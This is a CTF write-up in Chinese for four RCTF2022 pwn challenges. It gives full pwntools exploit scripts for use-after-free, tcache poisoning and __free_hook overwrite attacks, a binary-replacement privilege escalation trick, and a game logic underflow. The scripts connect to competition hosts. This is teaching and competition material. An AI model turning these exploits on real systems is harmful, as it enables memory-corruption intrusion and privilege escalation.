RCTF2022-PWN-WP/复现

game[非预期]

本来是kernel提权题,但docker起起来之后发现/bin权限比较大,所以存在非预期。

1671183918059.png

init是root权限运行的,

1671183969695.png

在shell退出之后还有umountpoweroff两个指令。所以劫持其中一个binary,然后退出shell就能带出flag。

cd /bin
rm ./umount
echo 'cat flag'>umount
chmod 777 ./umount
exit

ez_atm

分析

给出了一个客户端client和带有漏洞的服务端ez_atm,两者使用socket进行通信。

查看Data_send结构体即可了解通讯使用的协议,

1671164220749.png

在建立socket连接之后,服务端会fork出一个子进程,并且即刻生成该次会话使用的uuid,并且将随机数使用的种子发给客户端。然后会尝试从客户端收到uuid并验证是否一致。

1671164490295.png

客户端对应的操作是接受到种子并用相同的逻辑生成uuid,然后发送。

1671164596484.png

主要功能的逆向略过,这里只说漏洞点。

第一个是leak libc,在stat_query中。

1671166153796.png

这里send过来了很多栈上的数据,可以帮助leak。

但是在发送到客户端之后直接被接收了,我们需要对客户端稍作修改,让他打印出来。

(其实是还有另一种思路的,不使用客户端去交互,直接按照协议手动发包模拟客户端行为。只不过这样就需要在一开始验证uuid那里手动按照逻辑生成一下)

1671084514031.png

这里是libc上的地址,测出偏移后将客户端对应部分patch如下:

1671084764752.png

测试一下,成功leak:

1671085000540.png

new_account中会申请0x41的chunk,然后passwdaccount_id分别对应了tcache的nextkey的位置。

1671170791940.png

cancellation中存在明显的uaf。

1671171007280.png

思路至此就很明显了,tcache poisoning申请到free hook写入system。

不过想要uaf修改,还需要先login,一个account被free之后password会是堆上的地址,所以还需要leak一下。

布置好freed chunk之后还是先在client的内存中找到heap地址相对于msg_rec的偏移

1671176781065.png

然后对client的query功能patch如下:

1671176871678.png

成功leak,

1671176921530.png

接下来就是正常的uaf劫持tcache next指针,这里不作详细描述。

成功劫持free hook后外带flag使用cat flag>&4来发给客户端。

不过用free hook来执行system时,参数是password处,而password的长度只有8bytes,有点不够,所以需要配合account_id来拼接。所以我的构造如下:

  • account_id: >&4
  • password: cat flag

exp

(需要模拟client发送协议交互的话可以参考注释掉的两个函数来建立连接和发包)

from pwn import *
from ctypes import *
import os

context.log_level='debug'

elf = ELF('./docker/bin/ez_atm')
libc = ELF('./docker/bin/libc-2.27.so')
clibc = cdll.LoadLibrary('./docker/bin/libc-2.27.so')

sa  = lambda x,y : p.sendafter(x, y)
sla = lambda x,y : p.sendlineafter(x, y)
ru  = lambda x   : p.recvuntil(x)

def g():
	os.system('ps -a | grep ez_atm')
	raw_input()

'''
def init_cli():
	ask_time = u32(p.recv(4))
	# print(hex(ask_time))
	clibc.srand(ask_time)
	uuid = list("yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy")
	for i in range(len(uuid)):
		if uuid[i] != '4' and uuid[i] != '-':
			if uuid[i] == 'x':
				uuid[i] = hex(clibc.rand()%15)[2:]
			else:
				uuid[i] = hex((clibc.rand()%15) & 3 | 8)[2:]
	uuid = ''.join(uuid)
	p.send(uuid)

def data_send(op, password=b'', account_id=b'', money=114514):
	data = flat(
		{
			0x0: op,
			0x10: password,
			0x18: account_id,
			0x38: p32(money),
		},
		filler=b'\x00'
	).ljust(0x98, b'\x00')
	sleep(0.5)
	p.send(data)
'''

def choice(op):
	sla('choice :', op)

def add_account(id='kotori', passwd='passwd', money=114514):
	choice('new_account')
	sla('account id', id)
	sla('password', passwd)
	sla('money', str(money))

def del_account(passwd='passwd'):
	choice('cancellation')
	sla('password', passwd)

def login(id, passwd='passwd'):
	choice('login')
	sla('account id', id)
	sla('password', passwd)

def edit_passwd(new_pass, old_pass):
	choice('update_pwd')
	sla('new password', new_pass)
	sleep(0.5)
	sla('rd.', old_pass)

p = process(['./client', '139.9.242.36', '4445'])
# p = process(['./client', '127.0.0.1', '3339'])

'''
p = remote('127.0.0.1', 3339)
init_cli()

data_send('new_account', 'passwd', 'ko1')
data_send('exit_account')
data_send('new_account', 'passwd', 'ko2')
data_send('cancellation', 'passwd')
data_send('login', 'passwd', 'ko1')
data_send('query')
'''

choice('stat_query')
libcbase = u64(ru('\x7f')[-6:].ljust(0x8, b'\x00')) - 0x21c87
sys = libcbase + libc.symbols['system']
hook = libcbase + libc.symbols['__free_hook']
print(hex(libcbase))
print(hex(hook))

# data_send('new_account', 'passwd', 'ko1')
add_account('ko1')
choice('exit_account')
add_account('ko2')
del_account()
login('ko1')
choice('query')
heapbase = u64(ru('\x55')[-6:].ljust(0x8, b'\x00')) - 0x10
print(hex(heapbase))
choice('exit_account')

add_account('ko3')
choice('exit_account')
add_account('ko4')
choice('exit_account')
login('ko3')
del_account()
login('ko4')
del_account()

login(p64(heapbase+0x10), p64(heapbase+0x6b0))
edit_passwd(p64(hook), p64(heapbase+0x6b0))
choice('exit_account')

add_account('>&4', 'cat flag')
choice('exit_account')
add_account('pwn', p64(sys))
choice('exit_account')
login('>&4', 'cat flag')
del_account('cat flag')

# g()

p.interactive()

ppurey

分析

一个管理数据库的菜单题。看上去没什么问题,不过在show_note内部存在一个语句:SELECT * FROM test

1671193372553.png

只要让一个视图也叫test,就能执行很多操作。不过到这里之后思路忽然就断了,不是很能找到他可利用的洞在哪里。

在这时忽然发现bss段上存在一个g_chunks数组,

1671193684388.png

交叉引用一看,好家伙。很可疑的四个函数。

1671193761393.png

随便找到一个,继续交叉引用,来到了data段上,发现了几个奇怪的字符串"sm", "se", "ss", "sd"。

1671193826181.png

继续在前后看了看,发现了"random", "hex", "ifnull"等字符串,

ん?这不就是sqlite3函数的symbol么。

至此,一片新世界打开了。

"sm", "se", "ss", "sd"分别对应堆块的malloc, edit, show, delete操作,并且在delete操作中存在uaf

1671194070865.png

整理一下思路:

  1. 利用原有的菜单功能创建一个数据库,并且将test作为视图操作写入这个数据库中
  2. test中利用sm, se, ss, sd这几个函数来操作堆块
  3. uaf打tcache的next,劫持__free_hook为system完成利用。

(在做题的时候发现,这题的heap布局极其凌乱,不过好在show是直接write,所以拿一个unsorted bin上的chunk就可以直接leak出残留的libc地址。好久都没做到不是puts来show的题了,泪目)

exp

from pwn import *
import sqlite3
import os

context.log_level='debug'

elf = ELF('./ppuery')
libc = elf.libc

# p = process('./ppuery')
p = remote('190.92.233.46', 10000)

sa  = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
ru  = lambda x   : p.recvuntil(x)

def g(arg=''):
	gdb.attach(p, arg)
    raw_input()

def choice(idx):
	sla('Choice: ', str(idx))

def add_note(name):
	choice(1)
	sla('Name: ', name)

def show_note(idx):
	choice(2)
	sla('Index: ', str(idx))

def patch_note(idx, content):
	choice(3)
	sla('Index: ', str(idx))
	sla('Size: ', str(len(content)))
	sla('tent: ', content)

def exec_cmd(cmd):
	os.system("rm ./kotori.db")
	conn = sqlite3.connect('kotori.db')
	cur = conn.cursor()
	sql_cmd = 'CREATE VIEW test AS SELECT {}'.format(cmd)
	print(sql_cmd)
	cur.execute(sql_cmd)
	conn.commit()
	conn.close()
	f = open('kotori.db', 'rb').read()
	patch_note(0, f)
	show_note(0)

def add(idx, size):
	exec_cmd('sm({},{})'.format(idx, size))

def edit(idx, offset, content):
	exec_cmd('se({},{},{})'.format(idx, offset, content))

def show(idx):
	exec_cmd('ss({})'.format(idx))

def delete(idx):
	exec_cmd('sd({})'.format(idx))

add_note('aa')

add(0, 0x1f0)
show(0)
ru('Content:')
libcbase = u64(p.recv(8)) - 0x3ebca0
sys = libcbase + libc.symbols['system']
hook = libcbase + libc.symbols['__free_hook']
print(hex(libcbase))

add(1, 0xb0)
add(2, 0xb0)
delete(1)
delete(2)
edit(2, 0, hook)

add(3, 0xb0)
add(4, 0xb0)
edit(3, 0, u64(b'/bin/sh\x00'))
edit(4, 0, sys)

delete(3)
# g()

p.interactive()

MyCarShowSpeed

又是我最爱的游戏题(划掉)

1671354090140.png

分析

一个赛车游戏,给出了源码。

经过一段时间的查找,发现在赢得足够多的钱的时候可以直接在商店购买flag

//store.c

...

static goods_t normalCar = {"NormalCar", 50};
static goods_t superCar = {"SuperCar", 100};
static goods_t LongCar = {"LongCar", 180};
static goods_t ghostCar = {"GhostCar", 200};
static goods_t fuel = {"Fuel", 10};
static goods_t normalTire = {"NormalTire", 20};
static goods_t SuperTire = {"SuperTire", 80};
static goods_t flag = {"flag", 9999};

...

void sellGoodsImpl(store_t *_this, game_t *game)
{
	...
        else if(strcmp(goods->name, "flag") == 0)
        {
            ....
            
			else
            {
                int fd;
                char buf[64];
                puts("You've earned it!");
                puts("Here is your flag!");
                fd = open("./flag", O_RDONLY);
                if(fd >= 0)
                {
                    read(fd, buf, 64);
                    write(1, buf, 64);
                }
            }
			return;
        }
		...
}

所以着重观察一下和钱相关的部分。

fetchCarImpl中,出题人好心的给出了一个注释://0

//store.c
car_t * fetchCarImpl(store_t *_this, game_t *game)
{
    ...

    fixDifficulty = car->fixDifficulty;
    
    ...
    
    fetchTime = fetchHour * 3600 +  fetchMin * 60 + fetchSec * fixDifficulty;// 0
    fixTime   = fixHour * 3600 + fixMin * 60 + fixSec;
    
    fixedTime = fetchTime - fixTime;
    cost = 5 * fixedTime;
    if(cost > (int)game->money)
        cost = game->money;
    car->health += (int)(fixedTime * 0.4) + 50;
    game->money -= cost;
    
    ...
        
}

如果fixDifficulty为0的话,fetchTime将会小于fixTime,那么cost也将变为负数......

game->money -= cost这一句,不就可以帮助我们快速搞钱了吗。

所以赶紧去找找fixDifficulty的来头。

//car.h
struct car
{
    char        name[8];
    uint8_t     type; 
    uint8_t     performance;
    uint8_t     isTaken;
    uint8_t     isWon;
    uint8_t     fixed;
    uint8_t     step;
    uint8_t     fixDifficulty; 
    
    ...
    
};

这个fixDifficulty是在car.h中声明的一个unit8_t类型的变量,

并且每局比赛结束会有_this->finishGame(_this)这一句来调用finishGameImpl

finishGameImpl会让car->fixDifficulty++;

所以说,只要快速刷对局,到第255次之后,不停的修车取车就能大赚一笔。

(ps. 最好将时间的秒数控制在较大的秒数,不然会刷的很慢)

(pps. 你每次调试都要等差不多一分钟的样子真的很狼狈.jpg)

虽然钱是拿到了,但是这时又注意到购买flag的另一个检查条件。

//store.h
if(game->winTimes < 1000)
{  
	puts("No! You cheated in this game! Where did your money come from?\n");
	puts("Punish for cheaters!\nYour cars are confiscated!");
	carList_t *curCar = game->carList;
	while(curCar)
	{
		car_t *car = curCar->car;
		if(car)
		{
			free(car);
			curCar->car = NULL;
		}
		curCar = curCar->next;
	}
	game->carList->carNums = 0;
	game->userCar = NULL;
}

要让这个winTimes要达到1000,还需要再想一些办法。(比赛中到这里就停下来啦,后面的做法参考了Nu1L战队的WriteUp)

这个时候其实可以察觉到,好像买flag被发现作弊时清空车辆的时候是存在uaf的。

并且除了这里的game->carList以外,在store.c中修车和取车时还有一个carList。

相当于game->carList成为了一个dangling pointer。

并且参考car.h中对car的定义:

struct car
{
    char        name[8];
    uint8_t     type; 
    uint8_t     performance;
    uint8_t     isTaken;
    uint8_t     isWon;
    uint8_t     fixed;
    uint8_t     step;
    uint8_t     fixDifficulty; 
    
    int         fuel;
    int         stability;
    int         health; 
    int         row;
    int         col;
    int         cost;
    int         padding;
    time_t      fixTime;

    int         (*moveCar)(car_t *_this);
    void        (*addFuel)(car_t *_this);
    void        (*increaseSpeed)(car_t *_this);
    void        (*gainExp)(car_t *_this);
    void        (*fix)(car_t *_this);
    void        (*printCar)(car_t *_this);
    int         (*getStep)(car_t *_this);

};

在本来属于tcachekey的值的那个位置,会有许多的uint8_t类型的标记位,且很多标记位在取车和修车时都在被修改,所以tcache bin对double free的check会有相当大的概率可以被bypass。

所以最少只需要按照:

  1. 修车,将当前car放入store->carList
  2. 购买flag,将car free进入tcache bin。
  3. 取车,从store->carList中拿出,并且改掉某些标记位从而让key不被check

这几个步骤来循环3次,就能在tcache中造出环,且足以完成对winTimes的劫持。

(需要注意的是,每次在购买flag之后,车名会因为进入tcache而变化)

(取车时还可以通过车名leak出heapaddr,借此计算出winTimes的地址)

exp

from pwn import *
from datetime import *

context.log_level='debug'

elf = ELF('./SpeedGame')

p = process('./SpeedGame')

sa  = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
ru  = lambda x   : p.recvuntil(x)

def g(arg=''):
	gdb.attach(p, arg)

def choice(op):
	sla('\n>', op)

def buyCar(name):
	choice('3')
	choice('1')
	choice('SuperCar')
	choice(name)
	choice('5')

def buyFlag():
	choice('3')
	choice('1')
	choice('flag')
	choice('5')

def buyFlag():
	choice('3')
	choice('1')
	choice('flag')
	choice('5')

def fixCar(name=''):
	choice('3')
	choice('3')
	choice(name)
	choice('5')

def fetchCar(name):
	choice('3')
	choice('4')
	choice(name)
	choice('5')

def play():
	choice('1')
	ru('Press q to quit.')
	p.send(' ')
	p.send('q')

buyCar('kot')

for i in range(255):
	play()

while(datetime.now().second<40):
	sleep(1) # fixsec++
	print('[+] waiting for big sec...')

for i in range(60): # earn money
	fixCar('kot')
	fetchCar('kot')

fixCar('kot')
buyFlag()
fetchCar('')

fixCar()
buyFlag()
choice('3')
choice('4')
ru('CarName: ')
cname = p.recv(6)
choice(cname)
choice('5')

heap_info = u64(cname.ljust(0x8, b'\x00'))

print(hex(heap_info))

fixCar(cname)
buyFlag()
fetchCar(cname)

winTimes_addr = heap_info - 0x2b0
buyCar(p64(winTimes_addr))
buyCar('kot')
buyCar(p64(0xffffffff)) # hijack winTimes

buyFlag()

# g()

p.interactive()